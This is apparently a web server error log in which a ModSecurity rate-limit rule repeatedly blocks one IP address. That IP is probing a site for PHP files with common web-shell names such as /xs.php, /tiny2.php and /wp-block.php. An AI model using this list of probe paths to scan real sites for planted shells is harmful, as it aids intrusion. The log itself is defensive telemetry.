[Wed Apr 22 23:38:26.132575 2026] [:error] [pid 6344:tid 6362] [client 68.219.234.17:8115] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "aejrckDOTF-pkQnDeUkd0QAAAA0"]
[Wed Apr 22 23:38:26.785881 2026] [:error] [pid 6250:tid 6255] [client 68.219.234.17:8132] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packsin1.php"] [unique_id "aejrcg-iZeQkqmQVfj4yaAAAAEE"]
[Wed Apr 22 23:38:27.461141 2026] [:error] [pid 6344:tid 6367] [client 68.219.234.17:8027] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packsin1.php"] [unique_id "aejrc0DOTF-pkQnDeUkd0gAAABI"]
[Wed Apr 22 23:38:28.018602 2026] [:error] [pid 23776:tid 23793] [client 68.219.234.17:8072] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packsin1.php"] [unique_id "aejrdLRExf-1pAbSeJsweQAAAY8"]
[Wed Apr 22 23:38:28.665946 2026] [:error] [pid 6344:tid 6359] [client 68.219.234.17:8010] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packsin1.php"] [unique_id "aejrdEDOTF-pkQnDeUkd1AAAAAo"]
[Wed Apr 22 23:38:29.228653 2026] [:error] [pid 23776:tid 23780] [client 68.219.234.17:8124] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xs.php"] [unique_id "aejrdbRExf-1pAbSeJswgAAAAYI"]
[Wed Apr 22 23:38:30.059790 2026] [:error] [pid 6250:tid 6272] [client 68.219.234.17:8080] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xs.php"] [unique_id "aejrdg-iZeQkqmQVfj4ycAAAAFI"]
[Wed Apr 22 23:38:30.735680 2026] [:error] [pid 23776:tid 23796] [client 68.219.234.17:8074] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xs.php"] [unique_id "aejrdrRExf-1pAbSeJswggAAAZI"]
[Wed Apr 22 23:38:31.348617 2026] [:error] [pid 23776:tid 23785] [client 68.219.234.17:35454] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xs.php"] [unique_id "aejrd7RExf-1pAbSeJswgwAAAYc"]
[Wed Apr 22 23:38:31.967117 2026] [:error] [pid 6250:tid 6256] [client 68.219.234.17:35503] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "aejrdw-iZeQkqmQVfj4ydQAAAEI"]
[Wed Apr 22 23:38:32.587805 2026] [:error] [pid 23776:tid 23800] [client 68.219.234.17:8129] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "aejreLRExf-1pAbSeJswhQAAAZY"]
[Wed Apr 22 23:38:33.168464 2026] [:error] [pid 6250:tid 6261] [client 68.219.234.17:8178] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "aejreQ-iZeQkqmQVfj4yegAAAEc"]
[Wed Apr 22 23:38:33.754066 2026] [:error] [pid 9085:tid 9111] [client 68.219.234.17:8000] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "aejred-_-or9vQnlWnrlbgAAAVg"]
[Wed Apr 22 23:38:34.436616 2026] [:error] [pid 6252:tid 6332] [client 68.219.234.17:8047] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aejreutGYuiYb1nWBpRrnAAAARQ"]
[Wed Apr 22 23:38:35.007788 2026] [:error] [pid 6250:tid 6264] [client 68.219.234.17:8126] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aejrew-iZeQkqmQVfj4yewAAAEo"]
[Wed Apr 22 23:38:35.656033 2026] [:error] [pid 6252:tid 6325] [client 68.219.234.17:8070] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aejre-tGYuiYb1nWBpRrnwAAAQ0"]
[Wed Apr 22 23:38:36.311805 2026] [:error] [pid 23776:tid 23780] [client 68.219.234.17:8123] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aejrfLRExf-1pAbSeJswiAAAAYI"]
[Wed Apr 22 23:38:36.981022 2026] [:error] [pid 6344:tid 6363] [client 68.219.234.17:8094] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/maxro.php"] [unique_id "aejrfEDOTF-pkQnDeUkd5gAAAA4"]
[Wed Apr 22 23:38:37.631820 2026] [:error] [pid 23776:tid 23794] [client 68.219.234.17:8172] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/maxro.php"] [unique_id "aejrfbRExf-1pAbSeJswiwAAAZA"]
[Wed Apr 22 23:38:38.202996 2026] [:error] [pid 6384:tid 6401] [client 68.219.234.17:8146] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/maxro.php"] [unique_id "aejrfj58M3t15ICeWHWYyQAAAM4"]
[Wed Apr 22 23:38:38.816303 2026] [:error] [pid 6344:tid 6367] [client 68.219.234.17:7938] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/maxro.php"] [unique_id "aejrfkDOTF-pkQnDeUkd6gAAABI"]
[Wed Apr 22 23:38:39.435131 2026] [:error] [pid 6344:tid 6351] [client 68.219.234.17:8120] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "aejrf0DOTF-pkQnDeUkd8AAAAAI"]
[Wed Apr 22 23:38:40.123689 2026] [:error] [pid 23776:tid 23796] [client 68.219.234.17:8084] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "aejrgLRExf-1pAbSeJswjwAAAZI"]
[Wed Apr 22 23:38:40.714552 2026] [:error] [pid 6252:tid 6330] [client 68.219.234.17:35438] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "aejrgOtGYuiYb1nWBpRrowAAARI"]
[Wed Apr 22 23:38:41.319652 2026] [:error] [pid 6384:tid 6392] [client 68.219.234.17:35514] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "aejrgT58M3t15ICeWHWYywAAAMU"]
[Wed Apr 22 23:38:41.881929 2026] [:error] [pid 6251:tid 6291] [client 68.219.234.17:8161] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "aejrgSsFAzbyObL-SQ6YNgAAAIY"]
[Wed Apr 22 23:38:42.541717 2026] [:error] [pid 6384:tid 6407] [client 68.219.234.17:8039] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "aejrgj58M3t15ICeWHWY0wAAANQ"]
[Wed Apr 22 23:38:43.168701 2026] [:error] [pid 6251:tid 6290] [client 68.219.234.17:35507] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "aejrgysFAzbyObL-SQ6YOAAAAIU"]
[Wed Apr 22 23:38:43.820090 2026] [:error] [pid 6251:tid 6307] [client 68.219.234.17:8088] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "aejrgysFAzbyObL-SQ6YOQAAAJY"]
[Wed Apr 22 23:38:44.399847 2026] [:error] [pid 6251:tid 6295] [client 68.219.234.17:8064] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "aejrhCsFAzbyObL-SQ6YOgAAAIo"]
[Wed Apr 22 23:38:44.987504 2026] [:error] [pid 6252:tid 6313] [client 68.219.234.17:35419] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "aejrhOtGYuiYb1nWBpRrpwAAAQE"]
[Wed Apr 22 23:38:45.503472 2026] [:error] [pid 6251:tid 6297] [client 68.219.234.17:7965] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "aejrhSsFAzbyObL-SQ6YOwAAAIw"]
[Wed Apr 22 23:38:46.053450 2026] [:error] [pid 23776:tid 23783] [client 68.219.234.17:8139] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "aejrhrRExf-1pAbSeJswkQAAAYU"]
[Wed Apr 22 23:38:46.635696 2026] [:error] [pid 6250:tid 6256] [client 68.219.234.17:8089] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/areak1.php"] [unique_id "aejrhg-iZeQkqmQVfj4ygwAAAEI"]
[Wed Apr 22 23:38:47.191504 2026] [:error] [pid 6252:tid 6317] [client 68.219.234.17:8163] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/areak1.php"] [unique_id "aejrh-tGYuiYb1nWBpRrrwAAAQU"]
[Wed Apr 22 23:38:47.814423 2026] [:error] [pid 23776:tid 23781] [client 68.219.234.17:8008] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/areak1.php"] [unique_id "aejrh7RExf-1pAbSeJswlAAAAYM"]
[Wed Apr 22 23:38:48.468446 2026] [:error] [pid 6251:tid 6299] [client 68.219.234.17:8191] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/areak1.php"] [unique_id "aejriCsFAzbyObL-SQ6YPwAAAI4"]
[Wed Apr 22 23:38:49.078729 2026] [:error] [pid 23776:tid 23786] [client 68.219.234.17:8112] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sallu.php"] [unique_id "aejribRExf-1pAbSeJswlQAAAYg"]
[Wed Apr 22 23:38:49.655472 2026] [:error] [pid 9085:tid 9105] [client 68.219.234.17:8190] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sallu.php"] [unique_id "aejrid-_-or9vQnlWnrldwAAAVI"]
[Wed Apr 22 23:38:50.172121 2026] [:error] [pid 6252:tid 6316] [client 68.219.234.17:8142] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sallu.php"] [unique_id "aejriutGYuiYb1nWBpRrsgAAAQQ"]
[Wed Apr 22 23:38:50.747489 2026] [:error] [pid 6250:tid 6267] [client 68.219.234.17:8059] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sallu.php"] [unique_id "aejrig-iZeQkqmQVfj4yhwAAAE0"]
[Wed Apr 22 23:38:51.314919 2026] [:error] [pid 6344:tid 6354] [client 68.219.234.17:8177] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tiny2.php"] [unique_id "aejri0DOTF-pkQnDeUkd_QAAAAU"]
[Wed Apr 22 23:38:51.984781 2026] [:error] [pid 6344:tid 6368] [client 68.219.234.17:8018] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tiny2.php"] [unique_id "aejri0DOTF-pkQnDeUkd_wAAABM"]
[Wed Apr 22 23:38:52.570832 2026] [:error] [pid 6384:tid 6401] [client 68.219.234.17:8118] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tiny2.php"] [unique_id "aejrjD58M3t15ICeWHWY7AAAAM4"]
[Wed Apr 22 23:38:53.116822 2026] [:error] [pid 6384:tid 6395] [client 68.219.234.17:35427] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tiny2.php"] [unique_id "aejrjT58M3t15ICeWHWY7QAAAMg"]
[Wed Apr 22 23:38:53.808836 2026] [:error] [pid 6251:tid 6305] [client 68.219.234.17:8015] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aejrjSsFAzbyObL-SQ6YRgAAAJQ"]
[Wed Apr 22 23:38:54.354916 2026] [:error] [pid 6250:tid 6259] [client 68.219.234.17:8040] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aejrjg-iZeQkqmQVfj4yiwAAAEU"]
[Wed Apr 22 23:38:54.896619 2026] [:error] [pid 6384:tid 6387] [client 68.219.234.17:8078] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aejrjj58M3t15ICeWHWY8wAAAMA"]
[Wed Apr 22 23:38:55.453127 2026] [:error] [pid 6384:tid 6400] [client 68.219.234.17:8013] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aejrjz58M3t15ICeWHWY9gAAAM0"]
[Wed Apr 22 23:38:56.007586 2026] [:error] [pid 23776:tid 23793] [client 68.219.234.17:8169] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gz.php"] [unique_id "aejrkLRExf-1pAbSeJswmwAAAY8"]
[Wed Apr 22 23:38:56.558052 2026] [:error] [pid 23776:tid 23787] [client 68.219.234.17:8091] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gz.php"] [unique_id "aejrkLRExf-1pAbSeJswnAAAAYk"]
[Wed Apr 22 23:38:57.104891 2026] [:error] [pid 6384:tid 6392] [client 68.219.234.17:7940] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gz.php"] [unique_id "aejrkT58M3t15ICeWHWY_gAAAMU"]
[Wed Apr 22 23:38:57.662119 2026] [:error] [pid 6384:tid 6405] [client 68.219.234.17:8103] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gz.php"] [unique_id "aejrkT58M3t15ICeWHWZAAAAANI"]
[Wed Apr 22 23:38:58.199467 2026] [:error] [pid 6384:tid 6399] [client 68.219.234.17:8189] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aejrkj58M3t15ICeWHWZAwAAAMw"]
[Wed Apr 22 23:38:58.903189 2026] [:error] [pid 6384:tid 6389] [client 68.219.234.17:8009] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aejrkj58M3t15ICeWHWZBwAAAMI"]
[Wed Apr 22 23:38:59.442344 2026] [:error] [pid 9085:tid 9111] [client 68.219.234.17:8119] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aejrk9-_-or9vQnlWnrlegAAAVg"]
